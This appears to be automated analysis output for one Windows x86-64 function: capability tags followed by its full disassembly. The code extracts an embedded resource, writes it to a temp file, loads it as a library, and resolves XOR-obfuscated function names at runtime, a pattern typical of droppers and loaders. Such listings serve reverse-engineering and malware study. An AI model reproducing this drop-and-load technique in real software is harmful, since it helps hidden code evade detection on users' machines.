Function at 0x1400722a0
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Link many functions at runtime
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x1401b66f8]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [str.wxy6g_XSDLXWK]
xor ebx, ebx
cmp byte [0x1401970b7], bl
mov r14, rax
mov edi, dword [reloc.WS2_32.dll_accept]
mov dword [rsp + 0x50], ecx
lea r12d, [rbx + 5]
lea r13d, [rbx + 0x1f]
je 0x1400723d6
cmp edi, 2
jl 0x140072393
movdqa xmm3, xmmword [0x140198b10]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140198df0]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140198df0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140198b60]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140198ce0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140198d20]
movd xmm0, ecx
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
jmp 0x1400723d6
lea r9, [rsp + 0x50]
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 4
jl 0x1400723a0
mov qword [rsp + 0x1d0], r15
lea r8, [rsp + 0x50]
movaps xmmword [rsp + 0x190], xmm6
mov edx, WSAStartup
mov rcx, r14
movaps xmmword [rsp + 0x180], xmm7
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rsi, rax
test rax, rax
je 0x140072d3c
lea rdx, [rsp + 0x60]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp byte [0x1401973af], bl
mov rcx, qword [str.GQXFSTU:]
mov qword [rsp + 0x40], rcx
je 0x140072586
cmp edi, 2
jl 0x140072542
movdqa xmm2, xmmword [0x140198b10]
movdqa xmm3, xmmword [0x140198b20]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140198df0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r12d
movd xmm5, r13d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140198b60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x40]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140198ce0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140198d20]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x40], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140198b60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x44]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140198ce0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140198d20]
xorps xmm2, xmm0
movd dword [rsp + 0x44], xmm2
jmp 0x140072586
lea r9, [rsp + 0x40]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 8
jl 0x140072550
lea r9, [0x1401bb7e0]
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140072d3c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rsi
mov rcx, r14
mov r15, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov qword [rsp + 0x30], rbx
lea rcx, [0x1401bb7e0]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov r14d, eax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140072d3c
lea r9, [rsp + 0x54]
mov qword [rsp + 0x20], rbx
mov r8d, r14d
mov rdx, r15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x1401bb7e0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x140072d3c
cmp byte [0x14019749d], bl
mov ecx, dword [0x140197498]
movsd xmm0, qword [str.d__rNHOsM_Q_]
mov dword [rsp + 0x48], ecx
movzx ecx, word [0x14019749c]
mov word [rsp + 0x4c], cx
movsd qword [rsp + 0x40], xmm0
je 0x14007280a
mov r8d, ebx
cmp edi, 2
jl 0x140072791
movdqa xmm2, xmmword [0x140198b10]
mov r8d, 8
movdqa xmm3, xmmword [0x140198b20]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140198df0]
movdqa xmm0, xmm2
mov eax, dword [0x140198d20]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r12d
movd xmm5, r13d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140198b60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140198ce0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.d__rNHOsM_Q_]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rsp + 0x40], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140198b60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140198ce0]
movd xmm1, dword [rsp + 0x44]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xe
jl 0x1400727a0
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x140196bb8]
mov rdx, rax
mov dword [rsp + 0x48], ecx
movzx ecx, word [0x140196bbc]
mov word [rsp + 0x4c], cx
movzx ecx, byte [0x140196bbe]
mov byte [rsp + 0x4e], cl
jmp 0x14007283c
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rax
mov eax, dword [0x140196bb8]
mov dword [rsp + 0x48], eax
movzx eax, word [0x140196bbc]
mov word [rsp + 0x4c], ax
movzx eax, byte [0x140196bbe]
mov byte [rsp + 0x4e], al
movsd xmm0, qword [str.d__rNHO]
mov r8d, ebx
movsd qword [rsp + 0x40], xmm0
mov qword [0x1401bb698], rdx
cmp edi, 2
jl 0x14007296d
movdqa xmm2, xmmword [0x140198b10]
mov r8d, 8
movdqa xmm3, xmmword [0x140198b20]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140198df0]
movdqa xmm0, xmm2
mov eax, dword [0x140198d20]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r12d
movd xmm5, r13d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140198b60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140198ce0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.d__rNHO]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rsp + 0x40], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140198b60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140198ce0]
movd xmm1, dword [rsp + 0x44]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xf
jl 0x140072980
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x140196b85], bl
movsd xmm0, qword [str.d__rNHOoXP__]
mov qword [0x1401bb680], rax
mov eax, dword [0x140196b80]
mov dword [rsp + 0x48], eax
movzx eax, word [0x140196b84]
mov word [rsp + 0x4c], ax
movsd qword [rsp + 0x40], xmm0
je 0x140072b66
mov r8d, ebx
cmp edi, 2
jl 0x140072b17
movdqa xmm2, xmmword [0x140198b10]
mov r8d, 8
movdqa xmm3, xmmword [0x140198b20]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140198df0]
movdqa xmm0, xmm2
mov eax, dword [0x140198d20]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r12d
movd xmm5, r13d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140198b60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140198ce0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.d__rNHOoXP__]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rsp + 0x40], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140198b60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140198ce0]
movd xmm1, dword [rsp + 0x44]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xe
jl 0x140072b30
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x14019744d], bl
movsd xmm0, qword [str.d__rNHOnX_I_]
mov qword [0x1401bb6a0], rax
mov eax, dword [0x140197448]
mov dword [rsp + 0x48], eax
movzx eax, word [0x14019744c]
mov word [rsp + 0x4c], ax
movsd qword [rsp + 0x40], xmm0
je 0x140072d01
cmp edi, 2
jl 0x140072cc3
movdqa xmm2, xmmword [0x140198b10]
mov ebx, 8
movdqa xmm3, xmmword [0x140198b20]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140198df0]
movdqa xmm0, xmm2
mov eax, dword [0x140198d20]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r12d
movd xmm5, r13d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140198b60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140198ce0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.d__rNHOnX_I_]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rsp + 0x40], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140198b60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140198ce0]
movd xmm1, dword [rsp + 0x44]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movsxd rax, ebx
lea r8, [rsp + 0x40]
add r8, rax
nop
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, bl
inc ebx
xor byte [r8 - 1], cl
cmp ebx, 0xe
jl 0x140072cd0
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x1401bb698], 0
mov qword [0x1401bb6a8], rax
je 0x140072d3c
cmp qword [0x1401bb680], 0
je 0x140072d3c
cmp qword [0x1401bb6a0], 0
je 0x140072d3c
test rax, rax
setne al
jmp 0x140072d3e
xor al, al
movaps xmm7, xmmword [rsp + 0x180]
movaps xmm6, xmmword [rsp + 0x190]
mov r15, qword [rsp + 0x1d0]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.14012e5c0
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret